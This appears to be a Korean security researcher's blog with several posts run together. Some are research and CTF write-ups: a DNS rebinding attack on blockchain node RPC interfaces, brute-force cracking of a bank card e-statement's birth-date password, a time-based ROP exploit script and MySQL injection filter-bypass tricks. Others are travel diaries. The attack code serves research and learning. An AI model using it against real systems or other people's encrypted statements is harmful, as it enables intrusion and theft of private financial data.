Attack Block Chain Node’s JSON RPC with Efficient DNS Rebinding Attack

 구글의 타비스가 Blizzard 앱에서RPC auth mechanism이 DNS Rebinding를 통해 공격이[1] 가능하다는것을 언급했다. 며칠 뒤 페이스북이랑 트위터에서 geth(go-ethereum) RPC와 몇가지 블록체인 노드들의 RPC에 DNS Rebinding Attack이 가능하다는 여러가지 이야기가 들려왔다.
 우선 이더리움 Geth에서 비오비 프로젝트를 하면서우리 팀이 찾았던 CORS이슈와 제시했던 패치 방안과 대해서 설명한다. 타 블록체인 노드에서 발생한 0-day 그리고 공격에 사용되었던 효율적인 DNS Rebinding Attack을 소개한다.

DNS Rebinding Attack

 0ctf 2016의 Monkey 문제가 DNS Rebinding Attack을 소개하는 글중에 하나이다. [7] 아마 이 문제 이후에 용진이형이 알려줬었다. 더 알아보고 싶으면 용휘형이 예전에 번역했던 글을 참고해서 읽어도 좋다. (http://gooverto.tistory.com/entry/the-power-of-dns-rebinding-stealing-wifi-passwords-with-a-website-translated) 일반적으로 말하는 DNS Rebinding Attack Browser의 SOP를 우회하기 위한 기술중 하나이다. 플로우차트를 그려보면 다음과 같다.
1. junoim.kr을 NS에 요청하면 174.138.24.108을 반환한다.
2. 네임서버의 레코드를 빠르게 바꾸고 브라우저에서 DNS Cache가 flush될때까지 기다린다.
3. 그 후 NS에 요청을 보내면 127.0.0.1을 반환하게 된다.
이러한 요청은 브라우저에서 domain뿐만 아니라 ip까지 확인하면 되지만 벤더사들은 클라이언트 단에서 미티게이션을 추가하는것은 false negative한 case들 때문에 불가능하다고 생각해 wontfix처리 했다. [2]
위 방법을 사용하면 브라우저의 DNS Cache가 비워질때까지 기다려야 하기 때문에 60초가 필요하다. 뭐 eviction을 하면서 다른 값으로 덮어서 없앨 수도 있는데 그래도 20초 이상이 필요하다. optimization을 하기 위해 사용한 방법은 다음과 같다.
0. 도메인의 A레코드에 정상적인 서버의 아이피와 127.0.0.1를 등록해둔다. (with order fixed option)
1. junoim.kr을 NS에 요청하면 174.138.24.108을 반환한다.
2. 첫 요청이 들어오면 서버를 끄던가 요청된 IP를 iptables를 이용해 블락한다.
3. 브라우저에서 바로 다음 요청을 보내면 공격자의 서버에서는 TCP RST 패킷을 보내게 된다.

4. RST 패킷을 받으면 브라우저에서는 다음 레코드를 사용하게 된다. (127.0.0.1)

Tendermint Node RPC 0-day

 떡락이의 블록체인연구소 (https://www.facebook.com/blockchain.gazua/) 에서 tendermint를 언급한적이 있다. 뭐.. 자세한건 안봐서 모르겠지만 얘도 노드를 사용한다 ! RPC 통신도 지원한다!
tendermint.exe node –proxy_app=dummy
명령어를 통해 실행할 수 있다. 데모 영상이다.

Mitigation

 매우 간단한 패치로 공격을 막을 수 있다. 서버 측에서 Request측의 IP와 HTTP 헤더의 host, origin를 검사하면 된다. 이런식으로 패치해도 타 process에서 보내거나 extension에서 보내게 되면 막을 방법이 없기 때문에 신뢰할 수 있는 종단간 암호화를 통한 인증과정을 도입시켜야 된다. e.g.) username/password

Others

Ethereum Geth RPC에 Dns Rebinding Attack 문제는 오래전 부터 있었다. [4], [8] 물론 비슷한 케이스로 CORS Bypass 문제도 있었다. 비오비 프로젝트를 하면서 찾은 취약점 중에 하나인데 바운티에 신고를 했을때 다음과 같은 답장이 왔었다.
This is actually a known issue, one of the first we got via the bug bounty program. Nevertheless, we’ve decided to change the behaviour, but we won’t change anything before Byzantium: since people will be forced to update for the fork, we don’t want to force a potentially breaking API-change on people/businesses.
2016년에 이미 관련된 이슈가 제보 되었다는걸 알려주었다. 뭐 CORS 이슈라 아래와 같이 패치방안을 제공해주었다. 사실 이대로만 패치 되었더라도 DNS Rebinding Attack은 바로 막히는데 아쉽다.
if not request.headers['origin'] in allowedOrigin:
    return Error("WTF! your origin is not in allowedOrigin list.")

Victim의 Public IP Address를 모르는 상황에서 공격하는 시나리오였기 때문에 요청한 IP Address를 검사하는 로직도 추가되어야 한다. (0.0.0.0로 바인드 하는 상황이면)위와 비슷하게 Cisco Talos가 Parity 에서도 동일한 취약점을 찾았다. [9]

Ref

신한카드 이용대금 명세서 개인 비밀번호 분석 및 크랙

오랫만에 메일함을 들어갔더니 “[신한카드] 임준오님의 01월10일 체크카드 이용대금 명세서입니다.” 이런 제목의 메일이 와있었다. 예전에도 몇번 받아봤는데 첨부파일에 html파일이 있고 생년월일을 입력하면 명세서를 보여주는 형식이었다.

메일 화면

보안 이메일 명세서라고 나와있는데 얼마나 안전한가 한번 시험해보고 싶었다.

생년월일을 받는다.
내 생년월일을 입력하면 정상적으로 열리게 된다.

이제 소스를 열어보자.

뭔가 난독화가 많이 되어 있다. 일단 beautify 를 해보자.

이제 좀 보인다. 분석을 시작하자!

1. 생년월일을 비교하는 부분을 찾는다.

2. 연산하는 곳을 찾는다.

3. 복호화 코드를 짠다.

이 순으로 분석을 하면 될것 같다.

1. 생년월일을 비교하는 부분을 찾는다.

어떻게 찾을까 생각해봤는데 생년월일이 일치하지 않으면 아래와 같은 alert 창을 띄운다.

저 문자열을 찾아가면 될것 같다.

근데 난독화가 되어있어 alert 함수나 띄우는 문자열을 찾을 수 없었다.

약간의 감을 통해 최상단에 있는 문자열 배열이 함수명이나 메시지들을 담고 있을것 같았다.

엇.. alert가 있다…?

기억을 더듬어 보니 alert가 무려 17개나 있어 문자열로 찾았던 기억이 난다.

그럼 이제 저 지점에 브레이크포인트를 걸고 동적 디버깅을 해보자!

1234를 넣고 상황을 지켜보았다.

1345번째 줄을 보면 _0x9319xd9(함수의 인자) 변수에 내 비밀번호가 들어왔고 1348번째 줄에서 _0x9319xdf함수의 인자로 넘어갔다. 그럼 _0x9319xdf 함수가 복호화하는 함수다 !

2. 연산하는 곳을 찾는다.

1354번째 줄에서 _0x9319xde에 복호화한 값이 들어갔다.

복호화하는 로직을 보니 고정된 키를 사용하는것이 아닌 인풋을 키로 하여 복호화를 진행한다. 복호화 하는 함수를 조금더 분석해보자.

flow: _0x9319xdf -> _0x9319xe2 -> _0x9319xe2

불러오는 함수를 계속 따라가 보면 _0x9319xe4에 “SEED-CBC”란 값을 넣는걸 볼 수 있다.

SEED-CBC를 사용한다고 알려준다. SEED-CBC의 상세한 로직은 이미 쓰고 있는 곳들이 많아 안전할거라 생각하고 따로 분석하지 않았다.

3. 복호화 코드를 짠다.

내가 준 인풋(사용자의 생년월일)을 키로 사용하고 SEED-CBC 블록암호를 사용하기 때문에 복호화 코드를 짜도 의미가 없다. 아니 이미 복호화 해주는 코드는 내장되어 있다. 단지 키를 정의할 수 없을 뿐이다.

키를 구해야 되기 때문에 브루트포싱밖에 답이 없다. 하지만 복호화 하려는 데이터가 너무 크기때문에 1초정도 걸린다.

대충 계산 해보면..

1년을 365로 가정하고 카드 사용자층을 10대 ~ 60대로 선정하면 총 60년을 상대로 브루트포싱해야됨.

그러면 최종적으로 1s * 365 * 60 = 21900s = ~6시간

한개를 복호화 하는데 6시간이나 필요하다. 물론 쓰레딩으로 처리하면 줄일 수 있겠지만 현저히 많은 시간이다.

그러면 과연 더 나은 방법이 없을까?

생각 하던중 정상적으로 복호화 되었는지의 여부를 판별하는 곳을 보았다.

xxx(0, 10) == aaaaa

어.. 복호화된 앞 부분에서 비교를 한다라 .. ?

수 많은 블록을 한 블록으로 줄일 수 있게 되었다.

UNISAFESMAIL_DATA = btoa(atob(UNISAFESMAIL_DATA).substr(0, 16));

한 블록으로 줄인 후 브루트포스 코드를 구현했다.

완성된 브루트포스 코드는 아래와 같다.

function brutePassword() {
    for (var year=50; year<100; year++) {
        for (var month=1; month<=12; month++) {
            var tmp = month+"";
            if (tmp.length == 1)
                tmp = "0"+tmp;
            month = tmp;
            for (var day=1; day<=31; day++) {
                var tmp = day+"";
                if (tmp.length == 1)
                    tmp = "0"+tmp;
                day = tmp;
                isSuccess = new UniSafeMail().unisafe_smail_process(year+month+day);
                if (isSuccess) {
                    console.log(year+month+day);
                    return year+month+day;
                }
            }
        }
    }
}

뮌헨, 퓌센 그리고 부카레스트

D-CTF Final에 참가하기 위해 유럽으로 떠났다.
재미있는 경험 그리고 나 혼자 계획했던 여행이라 그런지 보람찼다. (같이간 용머는,, 뭐,, 열심히 따라와준 것 만으로도 고맙다 ~~ !). 마지막 도하에서, 트위터에 써논 글과 찍었던 사진을 바탕으로 열심히 써봐야겠다.

우선 우리의 일정은 이랬다.

인천 -> 도하 -> 뮌헨 -> 이아시 -> 부카레스트 -> 도하 -> 인천

이제 여행 이야기를 시작해보려고 한다.

모든건 일찍, 미리 미리.

그렇다. 어찌 되었건, 총 6번의 비행을 했다. 도하는 카타르 항공을 이용하기로 했으니 괜찮았는데, 문제는 뮌헨 -> 부카레스트 할때 이아시 경유 인 것이었다. 10월 중순, 할거없길래 비행기나 예약해보자는 마음으로 카약에 뮌헨 -> 부카레스트를 한번 검색해봤다. 분명 이때 루프트한자 8만원 짜리 티켓이 있었다… 루프트한자 “8만원”이었기 때문에, 이게 평균 가격인줄만 알았다. 그런데 왠걸? 이런 안일한 마음이 여행 하루전까지도 뮌헨에서 부카레스트 넘어가는 비행기를 예약하지 않았다. 물론 그런 마음덕에 호텔도 예약 하지 않아서 당일날 예약했다.

호텔 같은 경우는 뮌헨은 이미 활성화가 잘된 관광지이고, 마리엔 광장이란 큰 중심지가 있어 싼 가격에 호텔이 많았다. 이제 비행기의 차례다. 검색 결과,, 직항 30 ~ 40 만원. 경유 15~20만원. 절망 그 자체였다. 그래도 이거라도 타야지 하는 심정으로 15만원 짜리 블루에어를 끊었다. 방금 (Nov 20th. 01:09) 다시 검색해보니 30만원이 원래 가격이었다.

뮌헨에서,

공항에서, 숙소로.

12시 즈음 뮌헨 공항에 도착했다. 아니 11시였나. 암튼 내리자마자 우분투 CTF 순위를 확인했다. 이런, 2등이었다. 그래서 얼른 공항 와이파이에 접속해 남은 문제를 확인했다. 쉘코드 문제 2개와 메뉴 챌린지가 1개 있었다. 난 태양이보고 쉘코드 문제를 잡자고 했다. 아는것이면 금방 풀기 때문. 두 문제 모두 쉽게 풀 수 있는 것이었다. 첫번째는 cs 레지스터를 통한 () 스위칭 문제였다. sctf 문제, diary 문제와 유사했다. sctf 라이트업을 던져주고 남은 한 문제를 풀었다. 필터링 걸린 쉘코드 문제였다. 공항에서 숙소있는곳(마리엔 광장) 으로 가기위해 지하철을 이용했다. 예상시간보다 마리엔 광장에 일찍 도착했는데, 문제 풀다가 못내릴뻔 했다 ㅋㅋ. 지하철역에 도착해서 거의다푼 쉘코드 문제를 계속 풀었다. 결국 15분 만에 풀었다. 1등했다 후후~

마리엔 광장, 막시밀리안 거리

숙소에 짐을 풀어두고, 광장을 걷기로 했다. 그 날은 비가 왔다. 몇년전 파리에서도 비를 맞은적이 있는데, 그때 누군가 그랬다.. 유럽사람들은 이정도 내리는 비는 낭만이라고,, 낭만은 무슨 춥고 배고파서 우산 쓰며 거리를 누볐다. 한참 걷다보니 길거리에 명품샵들이 즐비해 있었다. 독일인들의 신기한점은, 상점 내부의 불은 전부 켜놓고, 영업을 안한다는 것이었다. 일요일은 무조건 쉰다고 했다. 슈퍼마켓도 일요일이면 문을 닫는다. 거리는 황홀하였고 예뻤다. 나중에 안 사실인데 한참을 걷던 거리의 이름은 막시밀리안 거리였다.

아침, 그리고 퓌센으로

독일에 오기전 뮌헨에서 어디를 갈까 고민하던중 윤호형한테 추천받은 곳이있다. 목욕탕퓌센 그리고 뉘른베르크다. 퓌센을 검색엔진에 검색해보니, 낯이 익은 성 이미지 여러장이 보였다. 디즈니 로고의 모티브가된 성이다. 이름은 노이슈반슈타인 성. 뉘른베르크도 검색해보니, 뭔가 사진찍을 곳도 많아보였고 사람사는 동네가 예뻤다. 하지만 난 성을 보고 싶었기에 퓌센으로 향했다. 아침을 프랑스식으로 든든하게 먹고 호텔에 들렸다가 중앙역으로 출발했다. 나오는 길에 지갑을 두고나온것이 생각나 호텔로 다시 돌아갔다. 이 때문에 첫차를 놓치고야 말았다. 중앙역으로 가는 지하철역에 도착해서 느낀게, 어차피 지갑을 챙겨왔어도 첫차는 놓쳤을것 같다는 것. 지하철 방향이 매우 복잡했다. 한국에서는 무조건 양옆에 상행과 하행이 있는데, 독일은 그런 경우도 있고, 위 아래로 돼있는 경우가 있다. 마리엔 광장 역 같은경우가 딱 그 경우다. 첫번째 사람은, 이 방향이 아니라고 올라가서 다른 곳으로 가라해서 올라갔다. 하지만 다른 곳이 어딘지 몰랐다. 두번째 사람은 그냥 우리를 무시했다. 마음 속으로 “인종 차별인가?”, “동양인이라 무시하나?”, “어려보여서 그런가?”를 생각하며 욕을했다. 도하에서 깨달았던 건데, 사실 출근길에 누가 길물어보면 그냥 지나칠 사람도 많을것 같았다. 물어보면 대답해주는게 의무는 아니잖아. 뭐 기분이 좋지는 않았지만 다시 내려가 세번째 사람한테 물어보니 한층 더 내려가야 된다고 하시더라. 그런데도 내려가는곳을 못찾았다. 건너편에 있는것 같은데 넘어갈 방법을 못찾았다. 그래서 그냥 열차가 올때 타고 바로 반대쪽으로 내렸다. 독일은 신기한게 열차가 양옆으로 내린다. 매우 헷갈린다. 우여곡절 끝에 중앙역에 도착했다. 퓌센가는 기차가 1시간이나 남았다. 기차는 1시간 간격으로 직행, 1 경유가 반복해 배차돼있다. 직행을 놓쳤으니 경유를 해서 무서웠지만 뭐 별거 아니였다. 그냥 내린곳에서 다음차 타면 되는것이었다. 옆 칸에 한국분이 앉아있었는데 낯 가려서 말 못걸었다. 후회가 조금 된다. 혼자 오신것 같았는데 같이 사진찍어주면 재미있었을것 같다. 노이슈반슈타인 성을 제일 좋게 볼 수 있는 마리엔 다리는 하필 보수 공사 중이었다. 그냥 눈앞에 담고 싶어 올라갔지만, 눈과 비 그리고 안개 삼중 콤보로 흐릿하게나마 볼 수 있었다. 이날 우리는 15km를 걸었다. 무척 힘든 하루였지만 눈도 즐겁고 계획한 여행을 실현한다는 기쁨으로 몸을 달랬다.

부카레스트로,

공항에서 타고 왔던 기차를 반대로 타고가면 된다. 3시간이나 일찍 도착했다. 부모님이 항상 3시간 일찍 가라하셨기 때문에 그랬다. 1시간 30분정도 앉아서 휴대폰만 보고 있었다. 긴장의 연속이었다. 루마니아라는 낯선 곳에서 그것도 1시간 20분의 경유 시간으로 이름모를 항공사의 국내선을 환승 했어야 했기 때문이다. 경유지인 이아시에 도착했다. 입국심사때 이것저것 너무 많이 물어봤다. 울산 공항쯤되는 곳인데 외국인이 오니 신기했나 보다. 처음으로 마약 검사를 받았다. 랜덤으로 울리는것 같았는데 x-ray를 통과할 때였다. 부카레스트를 떠날때까지 난 검사를 받았다. 첫날 숙소에 도착하자마자 라면 하나 먹고 자버렸다. 매우 피곤했나 보다. 둘째 날에는 pwnthebytes팀의 cernica가 부카레스트를 가이드 해줬다. 유명한 식당에 가서 밥도 사줬는데 그렇게 맛있진 않았다. 호텔로 돌아와 마사지 받고 대회준비를 위해 누웠다.

DCTF Final

컨퍼런스의 일부에 CTF가 있는 구조였다. 문제 얘기와 자세한 내용은 글 하나 더 쓸거다. 12시간 동안은 1등을 달렸다. 근데 힘들어서, 그리고 오랜 시간이 필요했던 문제들, 체력적인 요인으로 계속 밀리다가 끝내 8위를 했다. 그래도 재미있었다.

인천으로 !

항상 한국으로 돌아올때는 여행에 대한 추억 그리고 조금 더 적극적이지 못했던 아쉬움을 안고 온다. 보름이 지난 지금까지도 생생하게 머릿속에 있으니, 보람찼던 글인것 같다.

p.s. Nov 19th에 시작하고, 지금에서나 완성한다. 그만큼 게으른가 보다. 후, 인생 파이팅.

Time Based ROP

pwnable.tw에 kidding이라는 문제가 있다. stdin, stdout, stderror fd를 닫아버리기 때문에 리버스 쉘을 통하여 연결하면된다.
하지만 서버측에 있는 바이너리 데몬이 외부 네트워크에 접근할 수 없는 상황이면 어떻게 할것인가?
위와 같은 상황은 CTF보다 리얼월드에서 많이 발생한다. (클라우드 인스턴스 여러개 만들어가지고 내부적으로 물리고 ..)
까먹고 있다가 목욕을 하다가 문득 생각이 났다.
ROP를 통해 파일의 내용을 읽을때 SQLI 기술중 하나인 time based sql injection을 적용시켜보았다.

글쓰는것을 미루고 미루다 Exploiting Timed Based RCE – Security Café 를 읽고 쓰게되었다.

ROP 테크닉은 무척 간단하다.

  1. pop rdi, pop rsi, pop idx, retn 으로 레지스터를 초기화 시킨다.
  2. strncmp를 호출한다.
  3. rax를 rdi로 복사한다.
  4. sleep을 호출한다.

위 로직을 증명하기 위해 다음 코드가 사용되었다.

PoC 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) {
    char dest[] = "MyNameIsJunoIm";
    char oneByteChar = 'L';
    int result;
    int t1, t2;

    printf("dest string -> %s\n", dest);
    printf("give me one byte: ");
    scanf("%c", &oneByteChar);

    result = strncmp(dest, &oneByteChar, 1);

    printf("result - > %d\n", result);

    t1 = time(0);
    sleep(result);
    t2 = time(0);

    printf("running time - > %d\n", t2-t1);

    return 0;
}

정상적으로 작동하나 싶었는데.. 문제로 만들었더니 몇가지 오류가 생겼다..

우선 fd를 닫고 sleep하는것은 로컬에서만 되었다. 이럴꺼면 system("ls -al > /tmp/ls_result.txt")하고말지..

바이너리 데몬으로 실행하면,,

EOF 에러남 …

이렇기에 sleep여부를 판별하기 위한 race condition을 추가할 수 밖에 없었다. 그래서 문제에 의도적인 부분을 추가하기로 했다.

Full SourceCode, Binary 는 example, example.c 를 보시면 됩니다.

PoC 2

from pwn import *
import string
import random
import time

my_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
my_id += 'f'

print my_id
a1 = time.time()

r = remote("junan.io", 6974)
r2 = remote("junan.io", 6974)
r3 = remote("junan.io", 6974)

r.recvuntil('Input ID: ')
r.sendline(my_id)
r.recvuntil('Input key: ')
r.sendline("65b42f7d71f9fb31d824c28b8943ad94")
r.recvuntil("Welcome: ")

strncmp = 0x00000000004008C8
p_rdi = 0x0000000000400AAE
sleep = 0x0000000000400958
flag = 0x00000000006020A0

go_sleep = 0x0000000000400E00

payload = "A"*272
payload += p64(0x000000000060229D) # rbp

payload += p64(p_rdi) # for sleep
payload += p64(0x1)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)

payload += p64(sleep)

payload += p64(p_rdi)
payload += p64(flag)
payload += p64(0x0000000000602060+15) # time based rop
# 0x0000000000602060+15
payload += p64(0x1)
payload += p64(0x1)
payload += p64(0x1)
payload += p64(0x1)

payload += p64(strncmp)

payload += p64(go_sleep)

print len(payload)

r.sendline(payload)
time.sleep(0.1)

r2.sendline(my_id)

r3.recvuntil('Input ID: ')
time.sleep(1)
r3.sendline(my_id)
try:
data = r3.recv()
print data
if data.find("race") != -1:
raise Exception
r3.sendline("AAAA")
data = r3.recv()
print data
if data.find("race") != -1:
raise Exception
print ("Found !")
except:
print ("No")

r.recv()

print time.time() - a1

첫글자인 f 를 찾은 모습이다.

Example Challenge

nc junan.io 6974

성공적으로 flag를 얻어내셨다면 junorouse@gmail.com 으로 exploit 코드를 보내주세요.


업데이트

2018-06-03 글을 옮기다 time based side channel attack rop 문제가 여럿 보였던 기억이 었어서 기분이 좋네요 ㅎㅅㅎ

Advanced String Functions Filter Bypass With Gadgets Sql Injection

$filter = ['conv', 'code', 'hex', 'ha', 'b', 'x', '_', '`', '\'', '"', '@','into','outfile','load','file', 'date', 'co','ca', 'b', 'g', 'h', 'j', 'k', 'q', 'v', 'x', 'z', 'date', 'make'];

If filters are like that, how can I inject successfully? I will show you some gadgets can bypass the hard filter.

string function filter bypass with gadgets

such as

ascii, bin, char, concat, hex, oct, ord, conv, etc…

you can easily make the string with the following crypto functions.

aes_encrypt, …

[link]mysql crypt functions

But usually most of detectors also filtered underbar since prevent to access *_schema. There are two ways to generate arbitrary characters.

  1. Use dayname function.
  2. Use encrypt function with salt.

The first one is well-known bypass technic. Bypass with date and time functions. The result of now() (timestamp) is integer, so we can subtract and add other integer to make everyday name.

select DAYNAME(now());
-> Thursday

But this way only can make “a, e, d, f, i, h, m, o, n, s, r, u, t, w, y” 15 alphabets. Let’s check out the solution 2.

Or hash functions like md5, sha1, … are only contains hexadecimal characters.. We need more alphabets !!!!

There aren’t any references or cheat sheets of encrypt function.
When you run encrypt function the output is different each time. Since Mysql’s encrypt function is based system’s crypt function. So encrypt auto generates salt. This is why you saw the different output each time.

If you pass the salt parameter, you will get a fixed output result.

ENCRYPT(str[,salt])

Encrypts str using the Unix crypt() system call and returns a binary string. The salt argument must be a string with at least two characters or the result will be NULL. If no salt argument is given, a random value is used.

Note: The ENCRYPT() function is deprecated as of MySQL 5.7.6, will be removed in a future MySQL release, and should no longer be used. Consider using AES_ENCRYPT() instead.

# with no salt
select encrypt(12);
-> 10CkN4GiVzSd2
select encrypt(12);
-> F0HgfxV9ENjfY
select encrypt(12);
-> J0mzyT/ZwRHlc

# with salt
select encrypt(12, 99); # (any types, twocharacter or 2 digit number
-> 99LNryKuWYuKc

Here is very good wargame challenge. Pwn it !!!

Link CodeShellWEB

Here are some interesting bypass cheat sheets.

Link SQLI Cheat Sheets 1(English)

Link SQLI Cheat Sheets 2(Korean)

If u have any questions please contact email or reply the comments.

티머니 Third-Party 어플리케이션 취약점

2016-12-04 13:39에 쓰기 시작했는데 이제서야 완성한다.

Intro

작년 겨울에 학교에서 K-sheild 멘토링을 했었다. 처음 받아보는 멘토링이라 설렜다. 같은 학년에서 보안 공부를 하는 친구들이 딱히 많지 않아, 맘 맞는 친구들과 신청하였다. 신청했던 주제는 IOT 사물인터넷 보안이었는데 타겟을 찾다찾다 한 친구놈이 교통카드 해킹하자 한게 실제로 하게 되었다. 우리가 생각했던것은 offensive-security에 대한 멘토링이었는데 멘토분들은 방화벽 만들고 유지보수 하는 기업다니시는 분들이라 조금 아쉽기도 했다. 보안의 다른면에 대한 이야기도 들을 수 있어서 좋았던것 같다.

어떻게 해킹을 할까 생각하다, 검색엔진에 검색해보니 뉴스 링크가 나왔다. 우리도 똑같이 어플리케이션을 타겟으로 잡았다. 분명 다른 로직버그들이 존재할게 분명했기 떄문이다. 그렇게 티머니앱을 분석하려하는데 난독화가 심하게 걸려있었다. 결국 찾은게 티머니 API를 사용한 Third-Party 어플리케이션이었다.

kisa 제보 취약점은 4개월 지나면 공개해도 되길래 다른 누군가가 새로운 취약점을 찾길 바라면서 공개해본다.

Target

특정앱을 거론할 수 는 없지만 캐시비, 티머니등 교통카드를 충전해주는 어플리케이션이었다. 지금은 라이브러리파일들이 seworks의 앱솔리드로 난독화 되어있다. 아마 패치하면서 같이 적용한것 같았다. 예전에 썻던 보고서와 자료들이 남아있길래 그걸 토대로 작성하겠다.

뭐이렇게 생기긴 했다. logo

Summary

한장으로 요약하면 다음과 같다.

summary

지금 와서 생각한건데 보고서 참 못썻다.. 저땐 저게 최선이라고 생각했었는데 ㅋㅋ 앞으론 잘써야겠다는 생각이 들었다.

Vuln

취약점은 되게 간단한데, 그걸 찾고 실제로 exploit하는것 까지 좀 힘들었다. 그걸 이야기기해보고자 한다.

예전에는 교통카드 충전을 특정한 기기에서밖에 할 수 없었다. 하지만 기기의 역활을 하던것이 스마트폰으로 넘어오게 된것이다. 이로써 이것을 리버스 엔지니어링 하게될경우 성공적으로 해킹할 수 있다는 생각이 들었다.

– deleted –

로직이 저기 위에 사진과 같았는데 validation을 클라이언트쪽에서 진행했기때문에 발생하는 취약점이었다.

응답을 보내는것 자체가 너무 한정적이기 때문에 스마트폰을 에뮬레이션할 수 있게 될경우 다른 취약점이 발생할 수 있을거 같다.

그때 스크린샷은 다 사라졌지만 보고서만이 남아있기에 보고서를 첨부한다.

 


 


업데이트

2018-06-03 보안상의 이유로 보고서는 삭제되었습니다.

CSAW 2016 Final 참가후기

csaw(cyber security awareness week)

11월 8일부터 11월 15일까지 CSAW Final에 참가했었다. 중앙 아시아를 제외하고 아시아 지역은 원래 본선 참가 대상이 아니였다. 올해부터 CSAW가 글로벌하게 확장됨에 따라 뉴욕대 포탈캠퍼스가 있는 아부다비와 인도에서 열리게 되었다. 우리는 아부다비 뉴욕대에 초청받아서 참가하게 되었다.

아침에 씻고있는데 태양이가 메일하나가 왔다고 했다. 확인해보니 본선참가를 하라는 내용이었다. 놀라며 다시 사이트에 들어갔다. 그 어느곳에서도 아시아 지역은 참가대상이라는 부분이 없었다. 그래서 어떻게 된거냐고 답 메일을 보냈다. 그랬더니 “일단 너희 개인정보좀 보내줘바” 식의 답변을 받았다. 나중에 대회 끝나고 얘기했던건데 처음에 우리가 스팸메일이나 phd메일 해킹당한건줄알고 놀랐었다고 했더니 웃었다. 알겠다고 하면서 개인정보를 싹 보냈더니 운영위원회의 선택을 기다리랜다. 이건 또 무슨 경우인가 하고 있었는데 뭐 어찌됬건 가게 되었다.

참가 조건이 Guest Team이었기 때문에 상은 받을 수 없었다. 그렇지만 많은 도움이 되었던것 같다.

뉴욕대정문

갈때, 올때 모두 밤비행기 예매를 부탁했기 때문에 잠자면서 비행을 할 수 있었다. 에어버스 A380이라 무척 크고 화장실도 많아서 편했다. 승무원 누나들은 언제나 이쁘다. 기내식은 뭘먹었는지 기억이 안난다. 깨우면 먹고 다시 자기를 몇번 반복하니 두바이에 도착했다.

도착해서 환전과 선불유심을 구매했다. 선불유심을 구매하면서 너무 많은 시간을 썻기 때문에 하마터면 예약된 택시를 놓칠뻔 했다. 두바이 공항에서 아부다비에 있는 뉴욕대까지 대략 한국돈으로 6만원이 나오니 놓쳤다면 그 돈을 꽁으로 날릴뻔 하였다. 우리를 나두고 가기 2분전에 픽업을 했으니 참 다행이다.

아랍에미리트가 사막지대라 워낙 더운 나라인데 우리는 겨울에 갔기 때문에 덜 더웠다. 그리고 실내는 겨울이었다. 오일머니의 힘일까. 건물의 문을 열면 온도차때문에 바람이 분다.

Welcome Center라는곳에 내려줬다. 그곳에서 시큐리티 가드가 인적사항을 체크한 후 방키와 음식을 먹을 수 있는 식권을 줬다. 식권이 무려 만원짜리였다. 아침부터 엄청나게 많은 음식을 먹을 수 있었다.

우선 방은 쾌적하고 좋았다. 룸클린을 해준다고 했지만 안해줘서 좀 힘들었긴 했지만 뜨거운물도 잘나오고 기숙사가 아닌것 같았다. 아니 진짜 기숙사가 아닌것 같았다. 학교내의 교직원들의 아파트가 있기때문인지, 유명한 디자이너가 학교를 디자인 했기 때문인지는 몰라도 건물들이 마치 고급주택단지를 연상케했다. 엘레베이터 버튼을 누르면 뾱뾱 소리가 났는데 듣기 좋았다. 내 침대에 누우면 마리나베이처럼 생기는 건물과 멋있는 건물들이 눈에 들어왔는데 이곳에 다시 오고 싶어질 만큼 아름다웠다. 여행을 하면서 택시 기사님한테 물어봤는데 같은 마리나베이라고 한다. 싱가폴에 있는 마리나베이와 같은거라고..

창문

이곳 학생들은 아이디 카드를 긁고 밥을먹었는데 뭐 아마 장학금인거 같다. 이것도 나중에 택시기사분이 알려줬는데 아부다비에 있는 뉴욕대 포탈캠퍼스는 전액 장학금이라고 한다. 따로 먹을 간식비랑 그런것들만 준비하면 된다고 한다. 하지만 물가가 엄청나기 때문에 간식비도 만만치 않다. 이상하게 콜라같은 음료는 한국보다 저렴했다. 다른것들 예를들어 채소 같은경우는 대략 한국의 3배라고 생각하면 될거같다. 밥을 진짜 잘먹었다. 인터넷에서만 보던 구글, 애플과 같은 회사들에서 배급하는 방식으로 먹었는데 주문하는 즉시 조리되고 양파를 더넣어달라는둥 치즈를 한장더 넣어달라는둥의 커스터마이징이 가능하다. 맛도 역시 선린과는 다르게 진짜 맛있다. 나중에 가서 깨달은건데 학식이 젤 맛있었다. 밖에 나가서 사먹으니 비싸기만하고 맛도없고 조리시간도 오래걸렸다. 쉑쉑버거를 먹었는데 10만원이 나왔다. 처음에 아무거나 먹다가 비로소 마지막날이 되서야 비프 스테이크가 젤 맛있다는걸 깨달았다. 아직 연어 스테이크를 먹어보진 못했는데, CTF 결과 덕분에 내년 여름에 펠로우쉽을 받을 수 있어 또 올 수 있는데 그떄 먹고야 말겠다.

학교내의 시설은 디미고같았다. 디미고 대회 시상식때 학교탐방을 시켜줬는데 잔디구장있고 스쿼시코트있고 체육시설있고 당구장있고 뭐 등등. 여기도 마찬가지였다. 다만 축구장이 돔형태로 따로 있었고 농구, 배드민턴, 축구, 태권도, 수영 등등의 액티비티를 학생들 스스로 팀을 짜서 하는거 같았다. CS쪽 학생들도 운동을 많이 하는거 같은데 한국도 이런 문화가 들어왔으면 좋겠다. 밤새 컴퓨터하고 그러다보니 몸이 힘들어지는걸 매번 느낀다. NYU Falcons였나 하여튼 그렇게 불린다. 아 참고로 학교 시설은 학생뿐만아니라 교직원 그리고 교직원 가족분들도 사용할 수 있는거 같았다. 가끔가다 유모차도 보인다. 우리가 젤 많이 사용했던 곳은 탁구대랑 포켓볼대 그리고 각종 게임머신들이 있는곳이었다. 이곳에서 처음 Windows의 3D핀볼을 실물로 볼 수 있었다. 게임인줄만 알았는데 실제로 작동되는걸 보니 신기할 노름이었다. 대회 중간중간이나 할거없을떄마다 와서 여기서 놀았다. 밤에 잠안올때 학교 구경하러 다녔는데 시설들이 엄청 좋다. 아 그리고 도서관을 가보고싶었는데 못가봤다. 책이 엄청 많아보였고 분위기가 좋았다.

탁구

